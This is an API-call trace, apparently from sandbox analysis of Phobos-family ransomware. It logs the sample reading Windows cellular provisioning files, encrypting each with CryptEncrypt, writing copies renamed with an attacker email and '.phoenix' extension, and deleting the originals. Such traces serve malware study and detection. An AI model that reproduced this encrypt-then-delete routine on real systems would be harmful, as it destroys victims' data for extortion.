	[0258.425] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\706__Connections_Cellular_FASTWEB (Italy)_i1$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\706__connections_cellular_fastweb (italy)_i1$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0258.425] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\706__Connections_Cellular_FASTWEB (Italy)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\706__connections_cellular_fastweb (italy)_i1$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0258.426] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0258.426] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0258.426] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\706__Connections_Cellular_FASTWEB (Italy)_i1$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\706__connections_cellular_fastweb (italy)_i1$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0
	[0258.426] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x151640) returned 1
	[0258.426] CryptSetKeyParam (hKey=0x151640, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0258.426] ReadFile (in: hFile=0x2c0, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x2c5, lpOverlapped=0x0) returned 1
	[0258.428] CryptEncrypt (in: hKey=0x151640, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x2d0, dwBufLen=0x2d0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x2d0) returned 1
	[0258.428] WriteFile (in: hFile=0x2d0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x2d0, lpOverlapped=0x0) returned 1
	[0258.469] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x151740) returned 1
	[0258.469] CryptSetKeyParam (hKey=0x151740, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0258.469] CryptEncrypt (in: hKey=0x151740, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xb0, dwBufLen=0xb0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xb0) returned 1
	[0258.469] CryptDestroyKey (hKey=0x151740) returned 1
	[0258.469] WriteFile (in: hFile=0x2d0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x162, lpOverlapped=0x0) returned 1
	[0258.469] CryptDestroyKey (hKey=0x151640) returned 1
	[0258.469] CloseHandle (hObject=0x2c0) returned 1
	[0258.469] CloseHandle (hObject=0x2d0) returned 1
	[0258.470] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\706__Connections_Cellular_FASTWEB (Italy)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\706__connections_cellular_fastweb (italy)_i1$(__mvid)@wap.provxml")) returned 1
	[0258.471] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0258.471] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\707__Connections_Cellular_Transatel (France)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\707__connections_cellular_transatel (france)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0
	[0258.471] GetFileSizeEx (in: hFile=0x2d0, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=711) returned 1
	[0258.471] CloseHandle (hObject=0x2d0) returned 1
	[0258.471] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\707__Connections_Cellular_Transatel (France)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\707__connections_cellular_transatel (france)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0258.471] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\707__Connections_Cellular_Transatel (France)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\707__connections_cellular_transatel (france)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0258.471] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\707__Connections_Cellular_Transatel (France)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\707__connections_cellular_transatel (france)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0
	[0258.472] SetFilePointerEx (in: hFile=0x2d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0258.472] SetFilePointerEx (in: hFile=0x2d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0258.472] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\707__Connections_Cellular_Transatel (France)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\707__connections_cellular_transatel (france)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0258.472] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x1515c0) returned 1
	[0258.472] CryptSetKeyParam (hKey=0x1515c0, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0258.472] ReadFile (in: hFile=0x2d0, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x2c7, lpOverlapped=0x0) returned 1
	[0258.475] CryptEncrypt (in: hKey=0x1515c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x2d0, dwBufLen=0x2d0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x2d0) returned 1
	[0258.475] WriteFile (in: hFile=0x2c0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x2d0, lpOverlapped=0x0) returned 1
	[0258.476] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x151180) returned 1
	[0258.476] CryptSetKeyParam (hKey=0x151180, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0258.476] CryptEncrypt (in: hKey=0x151180, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xb0, dwBufLen=0xb0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xb0) returned 1
	[0258.476] CryptDestroyKey (hKey=0x151180) returned 1
	[0258.476] WriteFile (in: hFile=0x2c0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x162, lpOverlapped=0x0) returned 1
	[0258.476] CryptDestroyKey (hKey=0x1515c0) returned 1
	[0258.476] CloseHandle (hObject=0x2d0) returned 1
	[0258.476] CloseHandle (hObject=0x2c0) returned 1
	[0258.476] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\707__Connections_Cellular_Transatel (France)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\707__connections_cellular_transatel (france)_i0$(__mvid)@wap.provxml")) returned 1
	[0258.477] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0258.477] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\708__Connections_Cellular_Transatel (France)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\708__connections_cellular_transatel (france)_i1$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0258.477] GetFileSizeEx (in: hFile=0x2c0, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=713) returned 1
	[0258.478] CloseHandle (hObject=0x2c0) returned 1
	[0258.478] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\708__Connections_Cellular_Transatel (France)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\708__connections_cellular_transatel (france)_i1$(__mvid)@wap.provxml")) returned 0x20
	[0258.478] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\708__Connections_Cellular_Transatel (France)_i1$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\708__connections_cellular_transatel (france)_i1$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0258.478] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\708__Connections_Cellular_Transatel (France)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\708__connections_cellular_transatel (france)_i1$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0258.478] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0258.478] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0258.478] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\708__Connections_Cellular_Transatel (France)_i1$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\708__connections_cellular_transatel (france)_i1$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0
	[0258.478] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x151740) returned 1
	[0258.478] CryptSetKeyParam (hKey=0x151740, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0258.478] ReadFile (in: hFile=0x2c0, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x2c9, lpOverlapped=0x0) returned 1
	[0258.480] CryptEncrypt (in: hKey=0x151740, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x2d0, dwBufLen=0x2d0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x2d0) returned 1
	[0258.480] WriteFile (in: hFile=0x2d0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x2d0, lpOverlapped=0x0) returned 1
	[0258.480] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x1517c0) returned 1
	[0258.480] CryptSetKeyParam (hKey=0x1517c0, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0258.480] CryptEncrypt (in: hKey=0x1517c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xb0, dwBufLen=0xb0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xb0) returned 1
	[0258.481] CryptDestroyKey (hKey=0x1517c0) returned 1
	[0258.481] WriteFile (in: hFile=0x2d0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x162, lpOverlapped=0x0) returned 1
	[0258.481] CryptDestroyKey (hKey=0x151740) returned 1
	[0258.481] CloseHandle (hObject=0x2c0) returned 1
	[0258.481] CloseHandle (hObject=0x2d0) returned 1
	[0258.481] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\708__Connections_Cellular_Transatel (France)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\708__connections_cellular_transatel (france)_i1$(__mvid)@wap.provxml")) returned 1
	[0258.482] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0258.482] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\709__Connections_Cellular_Transatel (Worldwide)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\709__connections_cellular_transatel (worldwide)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0
	[0258.482] GetFileSizeEx (in: hFile=0x2d0, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=714) returned 1
	[0258.482] CloseHandle (hObject=0x2d0) returned 1
	[0258.482] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\709__Connections_Cellular_Transatel (Worldwide)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\709__connections_cellular_transatel (worldwide)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0258.482] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\709__Connections_Cellular_Transatel (Worldwide)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\709__connections_cellular_transatel (worldwide)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0258.482] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\709__Connections_Cellular_Transatel (Worldwide)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\709__connections_cellular_transatel (worldwide)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0
	[0258.482] SetFilePointerEx (in: hFile=0x2d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0258.482] SetFilePointerEx (in: hFile=0x2d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0258.482] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\709__Connections_Cellular_Transatel (Worldwide)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\709__connections_cellular_transatel (worldwide)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0258.483] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x1515c0) returned 1
	[0258.483] CryptSetKeyParam (hKey=0x1515c0, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0258.483] ReadFile (in: hFile=0x2d0, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x2ca, lpOverlapped=0x0) returned 1
	[0258.484] CryptEncrypt (in: hKey=0x1515c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x2d0, dwBufLen=0x2d0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x2d0) returned 1
	[0258.484] WriteFile (in: hFile=0x2c0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x2d0, lpOverlapped=0x0) returned 1
	[0258.485] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x151340) returned 1
	[0258.485] CryptSetKeyParam (hKey=0x151340, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0258.485] CryptEncrypt (in: hKey=0x151340, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xb0, dwBufLen=0xb0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xb0) returned 1
	[0258.485] CryptDestroyKey (hKey=0x151340) returned 1
	[0258.485] WriteFile (in: hFile=0x2c0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x162, lpOverlapped=0x0) returned 1
	[0258.485] CryptDestroyKey (hKey=0x1515c0) returned 1
	[0258.485] CloseHandle (hObject=0x2d0) returned 1
	[0258.485] CloseHandle (hObject=0x2c0) returned 1
	[0258.485] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\709__Connections_Cellular_Transatel (Worldwide)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\709__connections_cellular_transatel (worldwide)_i0$(__mvid)@wap.provxml")) returned 1
	[0258.486] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0258.486] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\70__Connections_Cellular_China Unicom (China)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\70__connections_cellular_china unicom (china)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0258.487] GetFileSizeEx (in: hFile=0x2c0, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=714) returned 1
	[0258.487] CloseHandle (hObject=0x2c0) returned 1
	[0258.487] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\70__Connections_Cellular_China Unicom (China)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\70__connections_cellular_china unicom (china)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0258.487] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\70__Connections_Cellular_China Unicom (China)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\70__connections_cellular_china unicom (china)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0258.487] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\70__Connections_Cellular_China Unicom (China)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\70__connections_cellular_china unicom (china)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0258.487] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0258.487] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0258.487] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\70__Connections_Cellular_China Unicom (China)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\70__connections_cellular_china unicom (china)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0
	[0258.488] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x151740) returned 1
	[0258.488] CryptSetKeyParam (hKey=0x151740, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
